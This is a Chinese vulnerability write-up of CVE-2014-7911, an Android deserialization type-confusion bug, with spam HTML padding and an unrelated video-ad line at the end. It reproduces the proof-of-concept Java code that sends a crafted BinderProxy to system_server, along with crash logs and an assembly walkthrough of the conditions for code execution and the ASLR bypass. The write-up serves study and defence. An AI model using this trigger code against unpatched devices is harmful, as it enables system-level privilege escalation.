<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/mobile/6082

                    0x00 簡介


                    CVE-2014-7911是由Jann Horn發現的一個有關安卓的提權漏洞,該漏洞允許惡意應用從普通應用權限提權到system用戶執行命令,漏洞信息與POC見(1]。漏洞的成因源于在安卓系統(<5.0)中,java.io.ObjectInputStream并未校驗輸入的java對象是否是實際可序列化的。攻擊者因此可以構建一個不可序列化的java對象實例,惡意構建其成員變量,當該對象實例被ObjectInputStream反序列化時,將發生類型混淆,對象的Field被視為由本地代碼處理的指針,使攻擊者獲得控制權。

                    0x02 漏洞分析


                    在Jann Horm給出的漏洞信息與POC中(1],向system_server傳入的是不可序列化的android.os.BinderProxy對象實例,其成員變量在反序列化時發生類型混淆,由于BinderProxy的finalize方法包含本地代碼,于是在本地代碼執行時將成員變量強制轉換為指針,注意到成員變量是攻擊者可控的,也就意味著攻擊者可以控制該指針,使其指向攻擊者可控的地址空間,最終獲得在system_server(uid=1000)中執行代碼的權限。下面主要結合POC對漏洞進行詳細分析,由于筆者之前對相關的Java序列化、Android binder跨進程通信和native代碼都不太熟悉,主要根據參考文獻進行翻譯、整理和理解,不當之處,還請讀者海涵。

                    Java層分析:

                    第一步,構建一可序列化的惡意對象

                    創建AAdroid.os.BinderProxy對象,并將其放入Bundle數據中

                    #!java
                    Bundle b = new Bundle();
                    AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
                    b.putSerializable("eatthis", evilProxy);
                    

                    注意AAdroid.os.BinderProxy是可序列化的,其成員變量mOrgue就是隨后用于改變程序執行流程的指針。隨后該可序列化的AAdroid.os.BinderProxy將在傳入system_server之間修改為不可序列化的Android.os.BinderProxy對象

                    #!java
                    public class BinderProxy implements Serializable {
                        private static final long serialVersionUID = 0;
                       //public long mObject = 0x1337beef;
                       //public long mOrgue = 0x1337beef;
                       //注意:此處要根據待測的Android版本號設置,在我們待測試的Android 4.4.4中,BinderProxy的這兩個Field為private int,這樣才能保證POC訪問的地址為我們設置的值0x1337beef
                       private int mObject = 0x1337beef;
                       private int mOrgue = 0x1337beef;
                    }
                    

                    第二步,準備傳入system_server的數據

                    主要通過一系列java的反射機制,獲得android.os.IUserManager.Stub,andrioid.os.IUserManager.Stub.Proxy的Class對象,最終獲得跨進程調用system_server的IBinder接口——mRemote,以及調用UserManager.setApplicationRestriction函數的code——TRANSACTION_setApplicationRestriction,為與system_server的跨進程Binder通信作準備。

                    #!java
                    Class clIUserManager = Class.forName("android.os.IUserManager");
                                Class[] umSubclasses = clIUserManager.getDeclaredClasses();
                                System.out.println(umSubclasses.length+" inner classes found");
                                Class clStub = null;
                                for (Class c: umSubclasses) {
                                    //it's android.os.IUserManager.Stub
                                    System.out.println("inner class: "+c.getCanonicalName());
                                    if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
                                        clStub = c;
                                    }
                                }
                    
                                Field fTRANSACTION_setApplicationRestrictions =
                                        clStub.getDeclaredField("TRANSACTION_setApplicationRestrictions");
                                fTRANSACTION_setApplicationRestrictions.setAccessible(true);
                                TRANSACTION_setApplicationRestrictions =
                                        fTRANSACTION_setApplicationRestrictions.getInt(null);
                    
                                UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
                                Field fService = UserManager.class.getDeclaredField("mService");
                                fService.setAccessible(true);
                                Object proxy = fService.get(um);
                    
                                Class[] stSubclasses = clStub.getDeclaredClasses();
                                System.out.println(stSubclasses.length+" inner classes found");
                                clProxy = null;
                                for (Class c: stSubclasses) {
                                    //it's android.os.IUserManager.Stub.Proxy
                                    System.out.println("inner class: "+c.getCanonicalName());
                                    if (c.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
                                        clProxy = c;
                                    }
                                }
                    
                                Field fRemote = clProxy.getDeclaredField("mRemote");
                                fRemote.setAccessible(true);
                                mRemote = (IBinder) fRemote.get(proxy);//獲得跨進程調用system_server的IBinder接口
                    
                                UserHandle me = android.os.Process.myUserHandle();
                                setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());
                    

                    第三步,向system_server傳入不可序列化的Bundle參數

                    接下來,調用setApplicationRestrictions這個函數,并傳入了之前打包evilproxy的Bundle數據作為參數。將該函數與Android源碼中的setApplicationRestrication函數[6]對比,主要的區別在于將傳入的Bundle數據進行了修改,將之前可序列化的AAdroid.os.BinderProxy對象修改為了不可序列化的Android.os.BinderProxy對象,這樣就將不可序列化的Bundles數據,通過Binder跨進程調用,傳入system_server的Android.os.UserManager.setApplicationRestrictions方法。

                    #!java
                    public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
                                userHandle) throws android.os.RemoteException
                        {
                            android.os.Parcel _data = android.os.Parcel.obtain();
                            android.os.Parcel _reply = android.os.Parcel.obtain();
                            try {
                                _data.writeInterfaceToken(DESCRIPTOR);
                                _data.writeString(packageName);
                                _data.writeInt(1);
                                restrictions.writeToParcel(_data, 0);
                                _data.writeInt(userHandle);
                    
                                //修改AAdroid.os.BinderProxy為Android.os.BinderProxy
                    
                                byte[] data = _data.marshall();
                                for (int i=0; true; i++) {
                                    if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
                                        data[i] = 'a';
                                        data[i+1] = 'n';
                                        break;
                                    }
                                }
                                _data.recycle();
                                _data = Parcel.obtain();
                                _data.unmarshall(data, 0, data.length);
                                /**
                                通過Binder機制跨進程調用Android.os.UserManager.setApplicationRestrictions方法,
                                向system_server傳入的是實際不可序列化的Android.os.BinderProxy對象
                                */
                                mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
                                _reply.readException();
                            }
                            finally {
                                _reply.recycle();
                                _data.recycle();
                            }
                        }
                    

                    安裝POC,啟動Activity后將其最小化,觸發GC,引起Android系統重啟,從Logcat日志中可以看到,system_server執行到了之前設置的BinderProxy對象的0x1337beef這個值,訪問了不該訪問的內存,導致異常。錯誤信號、寄存器快照和調用棧如下:

                    #!bash
                    05-14 18:30:55.974: I/DEBUG(3695): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
                    05-14 18:30:55.974: I/DEBUG(3695): Revision: '11'
                    05-14 18:30:55.974: I/DEBUG(3695): pid: 1552, tid: 1560, name: FinalizerDaemon  >>> system_server <<<
                    05-14 18:30:55.974: I/DEBUG(3695): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
                    05-14 18:30:56.064: I/DEBUG(3695):     r0 1337beef  r1 401b89d9  r2 746fdad8  r3 6d4fbdc4
                    05-14 18:30:56.064: I/DEBUG(3695):     r4 401b89d9  r5 1337beef  r6 713e3f68  r7 1337beef
                    05-14 18:30:56.064: I/DEBUG(3695):     r8 1337beef  r9 74709f68  sl 746fdae8  fp 74aacb24
                    05-14 18:30:56.064: I/DEBUG(3695):     ip 401f08a4  sp 74aacae8  lr 401b7981  pc 40105176  cpsr 200d0030
                    ...
                    I/DEBUG   (  241): backtrace:
                    I/DEBUG   (  241):     #00  pc 0000d176  /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)
                    I/DEBUG   (  241):     #01  pc 0007097d  /system/lib/libandroid_runtime.so
                    I/DEBUG   (  241):     #02  pc 0001dbcc  /system/lib/libdvm.so (dvmPlatformInvoke+112)
                    I/DEBUG   (  241):     #03  pc 0004e123  /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)
                    I/DEBUG   (  241):     #04  pc 00026fe0  /system/lib/libdvm.so
                    I/DEBUG   (  241):     #05  pc 0002dfa0  /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)
                    I/DEBUG   (  241):     #06  pc 0002b638  /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)
                    I/DEBUG   (  241):     #07  pc 0006057d  /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)
                    I/DEBUG   (  241):     #08  pc 000605a1  /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)
                    I/DEBUG   (  241):     #09  pc 00055287  /system/lib/libdvm.so
                    I/DEBUG   (  241):     #10  pc 0000d170  /system/lib/libc.so (__thread_entry+72)
                    I/DEBUG   (  241):     #11  pc 0000d308  /system/lib/libc.so (pthread_create+240)
                    

                    Native層分析:

                    假如BinderProxy可以被序列化,那么在反序列化時,其field引用的對象也會被反序列化;但在POC中ObjectInputStream反序列化的BinderProxy對象實例不可序列化,這樣在ObjectInputStream反序列化BinderProxy對象時,發生了類型混淆(type confusion),其field被當做隨后由Native代碼處理的指針。這個filed就是之前設置的0x1337beef,具體而言,就是mOrgue這個變量。

                    android.os.BinderProxy 的finalize方法調用native代碼,將mOrgue處理為指針.

                    #!java
                    protected void finalize() throws Throwable {
                        destroy();
                        super.finalize();
                        return;
                        Exception exception;
                        exception;
                        super.finalize();
                        throw exception;
                    }
                    

                    其中,destroy為native方法

                        #!java
                    private final native void destroy();
                    

                    cpp代碼

                    #!c++
                    static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
                    {
                        IBinder* b = (IBinder*)
                                env->GetIntField(obj, gBinderProxyOffsets.mObject);
                        DeathRecipientList* drl = (DeathRecipientList*)
                                env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
                        LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
                        env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
                        env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
                        drl->decStrong((void*)javaObjectForIBinder);
                        b->decStrong((void*)javaObjectForIBinder);
                        IPCThreadState::self()->flushCommands();
                    }
                    

                    最終native代碼調用上述decStrong方法,從

                    #!java      
                    DeathRecipientList* drl = (DeathRecipientList*)
                                env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
                    

                    這一行可以看出,drl就是mOrgue,可以被攻擊者控制。 所以,drl->decStrong方法調用使用的this指針可由攻擊者控制。

                    再看一下RefBase類中的decStrong方法

                    #!c++
                    void RefBase::decStrong(const void* id) const
                    {
                        weakref_impl* const refs = mRefs;
                        refs->removeStrongRef(id);
                        const int32_t c = android_atomic_dec(&refs->mStrong);
                    #if PRINT_REFS
                        ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
                    #endif
                        ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
                        if (c == 1) {
                            refs->mBase->onLastStrongRef(id);
                            if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
                                delete this;
                            }
                        }
                        refs->decWeak(id);
                    }
                    

                    注意上述refs->mBase->onLastStrongRef(id)最終導致代碼執行。

                    匯編代碼分析:

                    下面看一下發生異常時最后調用的RefBase:decStrong的匯編代碼。將libutils.so拖入IDA Pro,查看Android::RefBase::decStrong函數。分析時需要牢記的是,攻擊者能夠控制r0(this指針)

                    image

                    首先對r0的使用,是在decStrong的前下面三行代碼之中

                    #!c++
                    weakref_impl* const refs = mRefs;
                    refs->removeStrongRef(id);
                    const int32_t c = android_atomic_dec(&refs->mStrong);
                    

                    對應的匯編代碼如下

                    ldr     r4, [r0, #4]   # r0為this指針,r4為mRefs
                    mov     r6, r1
                    mov     r0, r4
                    blx     <android_atomic_dec ()>
                    

                    首先,mRefs被加載到r4。(r0是drl的this指針,mRefs是虛函數表之后的第一個私有變量,因此mRefs為r0+4所指向的內容)

                    然后,android_atomic_dec函數被調用,傳入參數&refs->mStrong.

                    #!c++
                    const int32_t c = android_atomic_dec(&refs->mStrong);
                    

                    這被翻譯為

                    #bash
                    mov     r0, r4  # r4指向mStrong,r0指向mStrong
                    blx     <android_atomic_dec ()>
                    

                    作為函數參數,上述r0就是&refs->mStrong。注意,mStrong是refs(類weakref_impl)的第一個成員變量,由于weakref_impl沒有虛函數,所以沒有虛函數表,因此mStrong就是r4所指向的內容。

                    另外,refs->removeStrongRef(id);這一行并沒有出現在匯編代碼中,因為這個函數為空實現,編譯器進行了優化。如下所示。

                    #!c++
                    void removeStrongRef(const void* /*id*/) { }
                    

                    在調用android_atomic_dec后,出現的是以下代碼

                    #!c++
                    if (c == 1) {
                        refs->mBase->onLastStrongRef(id);
                    

                    對應的匯編代碼

                    #!bash
                    cmp     r0, #1          # r0 = refs->mStrong
                    bne.n   d1ea
                    ldr     r0, [r4, #8]    # r4 = &refs->mStrong
                    mov     r1, r6
                    ldr     r3, [r0, #0] 
                    ldr     r2, [r3, #12]
                    blx     r2    
                    

                    注意,android_atomic_dec函數執行強引用計數減1,返回的是執行減1操作之前所指定的內存地址存放的值。為了調用refs->mBase->onLastStrongRef(id)(即:blx r2),攻擊者需要使refs->mStrong為1.

                    至此,可以看出攻擊者為了實現代碼執行,需要滿足如下約束條件:

                    1. drl(就是mOrgue,第一個可控的指針,在進入decStrong函數時的r0)必須指向可讀的內存區域;
                    2. refs->mStrong必須為1;
                    3. refs->mBase->onLastStrongRef(id)需要執行成功。并最終指向可執行的內存區域。即滿足

                    and

                    #!c++
                    if(*(*(mOrgue+4))==1){
                        refs = *(mOrgue+4)
                        r2 = *(*(*(refs+8))+12)
                        blx r2  ----->獲取控制權
                    }
                    

                    除此以外,攻擊者還必須克服Android中的漏洞緩解技術——ASLR和DEP。

                    0x03漏洞利用


                    為了成功獲得任意代碼執行,攻擊者可以使用堆噴射、堆棧轉移(stack pivoting)和ROP等技術。受限于筆者目前水平,這里就不再分析了,具體分析和retme大牛的POC可參見[2,3,4]。

                    值得注意的是,盡管Android采用了ASLR機制,但為了獲得正確的地址,可以基于這樣一個事實:system_server和攻擊者app都是從同一個進程-Zygote fork而來,具有相同的基址,攻擊者通過分析自己進程的map文件(位于/proc//maps)就可以知道system_server以及所加載模塊的內存布局。

                    另外一個有趣的話題是,洞主Jann Horn對PAN的分析進行了評論(2],認為不需要復雜的ROP gadgets就可以實現命令執行,而PAN對此進行了澄清。這從側面反映了漏洞利用技術也是一門大的學問,有時即使漏洞發現者也未必能夠真正理解漏洞利用的挑戰。

                    最后Jann Horn談到了發現此漏洞的靈感(5],源于他在大學時聽到的一次講座,涉及到某個PHP web應用在反序列化攻擊者輸入數據時出現的漏洞,這使他思考其他應用是否也有類似的問題。他知道Java的反序列化由ObjectInputStream處理不可信的輸入數據,android也許忘了進行檢查。是的,漏洞就在那里。

                    參考文獻

                    (1] http://seclists.org/fulldisclosure/2014/Nov/51

                    (2] http://researchcenter.paloaltonetworks.com/2015/01/cve-2014-7911-deep-dive-analysis-android-system-service-vulnerability-exploitation

                    (3] https://github.com/retme7/CVE-2014-7911_poc

                    (4] https://github.com/retme7/My-Slides/blob/master/xKungfooSH%40retme.pdf

                    (5] https://www.reddit.com/r/netsec/comments/2mr9cz/cve20147911_android_50_privilege_escalation_using/\

                    (6]http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.4_r1/android/os/IUserManager.java#IUserManager.Stub.Proxy.setApplicationRestrictions%28java.lang.String%2Candroid.os.Bundle%2Cint%29

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频